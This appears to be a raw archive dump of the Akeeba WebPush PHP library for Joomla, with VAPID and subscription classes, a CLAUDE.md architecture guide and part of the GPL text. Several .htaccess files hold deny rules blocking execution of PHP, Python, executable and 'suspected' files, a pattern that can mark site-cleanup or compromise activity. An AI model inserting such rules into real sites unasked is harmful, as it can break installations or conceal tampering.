		if (array_key_exists('keys', $associativeArray) && is_array($associativeArray['keys']))
		{
			return new self(
				$associativeArray['endpoint'],
				$associativeArray['keys']['p256dh'] ?? null,
				$associativeArray['keys']['auth'] ?? null,
				$associativeArray['contentEncoding'] ?? "aesgcm"
			);
		}

		if (array_key_exists('publicKey', $associativeArray) || array_key_exists('authToken', $associativeArray) || array_key_exists('contentEncoding', $associativeArray))
		{
			return new self(
				$associativeArray['endpoint'],
				$associativeArray['publicKey'] ?? null,
				$associativeArray['authToken'] ?? null,
				$associativeArray['contentEncoding'] ?? "aesgcm"
			);
		}

		return new self(
			$associativeArray['endpoint']
		);
	}

	/**
	 * {@inheritDoc}
	 */
	public function getAuthToken(): ?string
	{
		return $this->authToken;
	}

	/**
	 * {@inheritDoc}
	 */
	public function getContentEncoding(): ?string
	{
		return $this->contentEncoding;
	}

	/**
	 * {@inheritDoc}
	 */
	public function getEndpoint(): string
	{
		return $this->endpoint;
	}

	/**
	 * {@inheritDoc}
	 */
	public function getPublicKey(): ?string
	{
		return $this->publicKey;
	}
}
PK     \5H    ;  vendor/akeeba/webpush/src/WebPush/SubscriptionInterface.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 *
 * @author Sergii Bondarenko <sb@firstvector.org>
 */
interface SubscriptionInterface
{
	public function getAuthToken(): ?string;

	public function getContentEncoding(): ?string;

	public function getEndpoint(): string;

	public function getPublicKey(): ?string;
}
PK     \"  "  7  vendor/akeeba/webpush/src/WebPush/MessageSentReport.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\WebPush\WebPush;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 *
 * @author Igor Timoshenkov [it@campoint.net]
 * @started: 03.09.2018 9:21
 *
 * Standardized response from sending a message
 */
class MessageSentReport implements \JsonSerializable
{
	/**
	 * @var string
	 */
	protected $reason;

	/**
	 * @var RequestInterface
	 */
	protected $request;

	/**
	 * @var ResponseInterface | null
	 */
	protected $response;

	/**
	 * @var boolean
	 */
	protected $success;

	/**
	 * @param   string  $reason
	 */
	public function __construct(RequestInterface $request, ?ResponseInterface $response = null, bool $success = true, $reason = 'OK')
	{
		$this->request  = $request;
		$this->response = $response;
		$this->success  = $success;
		$this->reason   = $reason;
	}

	public function getEndpoint(): string
	{
		return $this->request->getUri()->__toString();
	}

	public function getReason(): string
	{
		return $this->reason;
	}

	public function setReason(string $reason): MessageSentReport
	{
		$this->reason = $reason;

		return $this;
	}

	public function getRequest(): RequestInterface
	{
		return $this->request;
	}

	public function setRequest(RequestInterface $request): MessageSentReport
	{
		$this->request = $request;

		return $this;
	}

	public function getRequestPayload(): string
	{
		return $this->request->getBody()->getContents();
	}

	public function getResponse(): ?ResponseInterface
	{
		return $this->response;
	}

	public function setResponse(ResponseInterface $response): MessageSentReport
	{
		$this->response = $response;

		return $this;
	}

	public function getResponseContent(): ?string
	{
		if (!$this->response)
		{
			return null;
		}

		return $this->response->getBody()->getContents();
	}

	public function isSubscriptionExpired(): bool
	{
		if (!$this->response)
		{
			return false;
		}

		return \in_array($this->response->getStatusCode(), [404, 410], true);
	}

	public function isSuccess(): bool
	{
		return $this->success;
	}

	public function setSuccess(bool $success): MessageSentReport
	{
		$this->success = $success;

		return $this;
	}

	public function jsonSerialize(): array
	{
		return [
			'success'  => $this->isSuccess(),
			'expired'  => $this->isSubscriptionExpired(),
			'reason'   => $this->reason,
			'endpoint' => $this->getEndpoint(),
			'payload'  => $this->request->getBody()->getContents(),
		];
	}
}
PK     \Ť0  0  +  vendor/akeeba/webpush/src/WebPush/VAPID.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

use Akeeba\WebPush\Base64Url\Base64Url;
use DateTimeImmutable;
use Lcobucci\JWT\Configuration;
use Lcobucci\JWT\Signer\Ecdsa\Sha256;
use Lcobucci\JWT\Signer\Key\InMemory;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 */
class VAPID
{
	private const PUBLIC_KEY_LENGTH = 65;

	private const PRIVATE_KEY_LENGTH = 32;

	/**
	 * This method creates VAPID keys in case you would not be able to have a Linux bash.
	 * DO NOT create keys at each initialization! Save those keys and reuse them.
	 *
	 * @throws \ErrorException
	 */
	public static function createVapidKeys(): array
	{
		$keyData = self::createECKeyUsingOpenSSL();

		$binaryPublicKey = hex2bin(Utils::serializePublicKeyFromData($keyData));

		if (!$binaryPublicKey)
		{
			throw new \ErrorException('Failed to convert VAPID public key from hexadecimal to binary');
		}

		$binaryPrivateKey = hex2bin(str_pad(bin2hex($keyData['d']), 2 * self::PRIVATE_KEY_LENGTH, '0', STR_PAD_LEFT));

		if (!$binaryPrivateKey)
		{
			throw new \ErrorException('Failed to convert VAPID private key from hexadecimal to binary');
		}

		return [
			'publicKey'  => Base64Url::encode($binaryPublicKey),
			'privateKey' => Base64Url::encode($binaryPrivateKey),
		];
	}

	/**
	 * This method takes the required VAPID parameters and returns the required
	 * header to be added to a Web Push Protocol Request.
	 *
	 * @param   string    $audience    This must be the origin of the push service
	 * @param   string    $subject     This should be a URL or a 'mailto:' email address
	 * @param   string    $publicKey   The decoded VAPID public key
	 * @param   string    $signingKey  The decoded VAPID private key
	 * @param   null|int  $expiration  The expiration of the VAPID JWT. (UNIX timestamp)
	 *
	 * @return array Returns an array with the 'Authorization' and 'Crypto-Key' values to be used as headers
	 * @throws \ErrorException
	 */
	public static function getVapidHeaders(
		string $audience, string $subject, string $publicKey, string $signingKey, string $contentEncoding,
		?int $expiration = null
	)
	{
		// Get the full key data from the public and private key
		$keyData   = Utils::unserializePublicKey($publicKey);
		$keyData[] = $signingKey;
		$keyData   = array_combine(['x', 'y', 'd'], $keyData);
		$keyData   = array_map([Base64Url::class, 'encode'], $keyData);

		// Get an in-memory key (see https://github.com/lcobucci/jwt/blob/3.4.x/docs/configuration.md)
		$privateKeyPem   = Encryption::convertPrivateKeyToPEM($keyData);
		$publicKeyPem    = Encryption::convertPublicKeyToPEM($keyData);
		$signingKey      = InMemory::plainText($privateKeyPem);
		$verificationKey = InMemory::plainText($publicKeyPem);

		// Calculate expiration date and time
		$expirationLimit = time() + 43200; // equal margin of error between 0 and 24h
		if (null === $expiration || $expiration > $expirationLimit)
		{
			$expiration = $expirationLimit;
		}
		// Get current data and time
		// Get the JWT
		$configuration = Configuration::forAsymmetricSigner(new Sha256(), $signingKey, $verificationKey);
		$token         = $configuration->builder()
			->expiresAt(new DateTimeImmutable('@' . $expiration))
			->issuedAt(new DateTimeImmutable())
			->permittedFor($audience)
			->relatedTo($subject)
			->getToken($configuration->signer(), $configuration->signingKey());
		$jwt           = $token->toString();

		// Get the authorisation headers
		$encodedPublicKey = Base64Url::encode($publicKey);

		if ($contentEncoding === "aesgcm")
		{
			return [
				'Authorization' => 'WebPush ' . $jwt,
				'Crypto-Key'    => 'p256ecdsa=' . $encodedPublicKey,
			];
		}

		if ($contentEncoding === 'aes128gcm')
		{
			return [
				'Authorization' => 'vapid t=' . $jwt . ', k=' . $encodedPublicKey,
			];
		}

		throw new \ErrorException('This content encoding is not supported');
	}

	/**
	 * @throws \ErrorException
	 */
	public static function validate(array $vapid): array
	{
		if (!isset($vapid['subject']))
		{
			throw new \ErrorException('[VAPID] You must provide a subject that is either a mailto: or a URL.');
		}

		if (!isset($vapid['publicKey']))
		{
			throw new \ErrorException('[VAPID] You must provide a public key.');
		}

		$publicKey = Base64Url::decode($vapid['publicKey']);

		if (Utils::safeStrlen($publicKey) !== self::PUBLIC_KEY_LENGTH)
		{
			throw new \ErrorException('[VAPID] Public key should be 65 bytes long when decoded.');
		}

		if (!isset($vapid['privateKey']))
		{
			throw new \ErrorException('[VAPID] You must provide a private key.');
		}

		$privateKey = Base64Url::decode($vapid['privateKey']);

		if (Utils::safeStrlen($privateKey) !== self::PRIVATE_KEY_LENGTH)
		{
			throw new \ErrorException('[VAPID] Private key should be 32 bytes long when decoded.');
		}

		return [
			'subject'    => $vapid['subject'],
			'publicKey'  => $publicKey,
			'privateKey' => $privateKey,
		];
	}

	/**
	 * Create a new elliptic curve key using the P-256 curve and OpenSSL
	 *
	 * @throws \RuntimeException if the extension OpenSSL is not available
	 * @throws \RuntimeException if the key cannot be created
	 */
	private static function createECKeyUsingOpenSSL(): array
	{
		if (!extension_loaded('openssl'))
		{
			throw new \RuntimeException('Please install the OpenSSL extension');
		}
		$key = openssl_pkey_new(
			[
				'curve_name'       => 'prime256v1',
				'private_key_type' => OPENSSL_KEYTYPE_EC,
			]
		);

		if ($key === false)
		{
			throw new \RuntimeException('Unable to create the key');
		}

		$result = openssl_pkey_export($key, $out);

		if ($result === false)
		{
			throw new \RuntimeException('Unable to create the key');
		}

		$res = openssl_pkey_get_private($out);

		if ($res === false)
		{
			throw new \RuntimeException('Unable to create the key');
		}

		$details = openssl_pkey_get_details($res);

		if ($details === false)
		{
			throw new \InvalidArgumentException('Unable to get the key details');
		}

		return [
			'd' => $details['ec']['d'],
			'x' => $details['ec']['x'],
			'y' => $details['ec']['y'],
		];
	}

}
PK     \>7x
  x
  +  vendor/akeeba/webpush/src/WebPush/Utils.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

use function mb_strlen;
use function mb_substr;

/**
 * This class is a derivative work based on the WebPush library by Louis Lagrange. It has been modified to only use
 * dependencies shipped with Joomla itself and must not be confused with the original work.
 *
 * You can find the original code at https://github.com/web-push-libs
 *
 * The original code came with the following copyright notice:
 *
 * =====================================================================================================================
 *
 * This file is part of the WebPush library.
 *
 * (c) Louis Lagrange <lagrange.louis@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE-LAGRANGE.txt
 * file that was distributed with this source code.
 *
 * =====================================================================================================================
 */
class Utils
{
	public static function safeStrlen(string $value): int
	{
		return mb_strlen($value, '8bit');
	}

	public static function serializePublicKeyFromData(array $data): string
	{
		$hexString = '04';
		$hexString .= str_pad(bin2hex($data['x']), 64, '0', STR_PAD_LEFT);
		$hexString .= str_pad(bin2hex($data['y']), 64, '0', STR_PAD_LEFT);

		return $hexString;
	}

	public static function unserializePublicKey(string $data): array
	{
		$data = bin2hex($data);

		if (mb_substr($data, 0, 2, '8bit') !== '04')
		{
			throw new \InvalidArgumentException('Invalid data: only uncompressed keys are supported.');
		}

		$data       = mb_substr($data, 2, null, '8bit');
		$dataLength = self::safeStrlen($data);

		return [
			hex2bin(mb_substr($data, 0, $dataLength / 2, '8bit')),
			hex2bin(mb_substr($data, $dataLength / 2, null, '8bit')),
		];
	}
}
PK     \Sʉ      +  vendor/akeeba/webpush/src/WebPush/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      #  vendor/akeeba/webpush/src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Ab      vendor/akeeba/webpush/CLAUDE.mdnu [        # CLAUDE.md

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

## Project Overview

Akeeba Web Push is a PHP library implementing the W3C Web Push Protocol for Joomla 4+ components. It allows Joomla extension developers to send encrypted browser push notifications to users. It is **not** a standalone Joomla component — it's a reusable library that components include via Composer or manual file copy.

**Derived from** Louis Lagrange's WebPush library, modified to use only Joomla-bundled dependencies.

## Build & Dependencies

- **PHP**: ^7.4 | ^8.0 (platform target: 7.4.999)
- **Required extensions**: `ext-openssl`, `ext-json`
- **Optional**: `ext-gmp` (better BigInteger performance)
- **Install**: `composer install`
- **No test suite, linter, or CI pipeline exists** in this repository.

## Architecture

### Namespace & Autoloading

PSR-4: `Akeeba\WebPush\` maps to `src/`.

### Core Subsystems

**`src/WebPush/`** — Core push notification engine:
- `WebPush.php` — Main sender class. Queues notifications and flushes them in batches (default 1000) via HTTP POST to browser push services.
- `VAPID.php` — VAPID key pair generation and JWT signing (ECDSA P-256).
- `Encryption.php` — AES-128-GCM / AES-GCM payload encryption with random salt and padding.
- `Subscription.php` / `SubscriptionInterface.php` — Browser subscription data (endpoint + p256dh + auth keys).
- `Notification.php` — Internal notification wrapper.
- `MessageSentReport.php` — Delivery result per notification.

**`src/ECC/`** — Custom Elliptic Curve Cryptography implementation for VAPID public key operations. Uses `Brick\Math\BigInteger` (Joomla-bundled).

**`src/Base64Url/`** — URL-safe Base64 encoding/decoding utility.

### Joomla Integration Layer (Trait-Based)

The library integrates into Joomla MVC via two traits:

- **`WebPushControllerTrait`** — Adds `webpushsubscribe()` and `webpushunsubscribe()` endpoints to any Joomla controller. Handles CSRF validation and JSON responses. Hook: `onAfterWebPushSaveSubscription()`.
- **`WebPushModelTrait`** — Adds `initialiseWebPush()`, `getVapidKeys()`, `sendNotification()`, and subscription CRUD to any Joomla model. Stores subscriptions as JSON in Joomla's `#__user_profiles` table (key: `{component}.webPushSubscription`). VAPID keys stored in component parameters.

**`NotificationOptions.php`** — Fluent DSO with ArrayAccess for notification display options.

### Data Flow

Browser subscribes via Service Worker → Controller saves subscription to `#__user_profiles` → Later, model calls `sendNotification()` → WebPush encrypts payload with AES-GCM + VAPID JWT → HTTP POST to push service → Browser receives and displays notification.

### Cryptography

Changes to VAPID or encryption code have breaking implications — the crypto stack (ECC, VAPID JWT signing, AES-GCM encryption) is tightly coupled and must remain compatible with the Web Push standard.

## Important Constraints

- **Plugin namespace conflict**: Cannot be used unmodified in Joomla plugins; namespace must be changed to avoid version conflicts between extensions.
- **Payload limits**: Max 4,078 bytes; compatibility limit 3,052 bytes.
- **Joomla version compat**: Handles Joomla 4/5/6 database API differences and PHP 8.1–8.5 reflection changes with runtime checks.
- **Static VAPID cache**: VAPID keys are cached in a static property per component to avoid repeated DB queries.
PK     \Sʉ        vendor/akeeba/webpush/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \'L  L  !  vendor/akeeba/webpush/LICENSE.txtnu [                            GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
